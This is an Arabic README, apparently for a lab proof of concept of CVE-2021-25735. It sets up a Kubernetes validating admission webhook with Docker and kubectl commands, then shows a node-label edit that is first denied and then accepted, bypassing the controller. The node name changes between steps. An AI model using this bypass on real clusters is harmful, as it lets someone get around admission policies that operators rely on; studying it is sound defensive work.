
استغلال لـ CVE-2021-25735 يوضح تجاوز خطاف قبول التحقق (Validating Admission Webhook) في Kubernetes عبر التلاعب بتسميات العقد، مع حاوية Docker قابلة للنشر ونصوص برمجية لتسجيل خطاف الويب.
لنبدأ بتشغيل السكربت gencerts.sh لإنشاء شهادات TLS والمفاتيح.
bash gencerts.sh
لنشر وحدة التحكم بالقبول، تحتاج إلى بناء صورة حاوية Docker محليًا، ووضع علامة عليها، ودفع الصورة إلى Dockerhub الخاص بك باستخدام الأوامر التالية.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
يمكنك الآن نشر الصورة التي تم إنشاؤها مع تطبيق Node.js في مجموعة K8s الخاصة بك. سيقوم webhook-deploy.yaml بنشر جميع المكونات المطلوبة في مجموعتك.
kubectl apply -f webhook-deploy.yaml
لنسجل الآن خطافنا مع خادم API الخاص بـ Kubernetes. للقيام بذلك، نقوم بإنشاء Base64 لملف ca.crt الذي تم إنشاؤه مسبقًا واستبدال CA_BUNDLE داخل webhook-registration.yaml.
cat ca.crt | base64
أخيرًا، سنقوم بتسجيل الخطاف مع خادم API الخاص بـ Kubernetes.
kubectl apply -f webhook-registration.yaml
نقوم بإجراء تغيير في تسمية العقدة باستخدام edit nodes وإضافة تسمية جديدة.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
نظرًا لأن ChangeAllowed مضبوط على "false"، نحصل على الخطأ التالي:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
إذا حاولنا تعديل العقدة مرة أخرى مع إجراء التغيير التالي: \
labels:
test: test
changeAllowed: "true"
في هذه الحالة، تم قبول عملية التحرير وتجاوز وحدة التحكم بالقبول.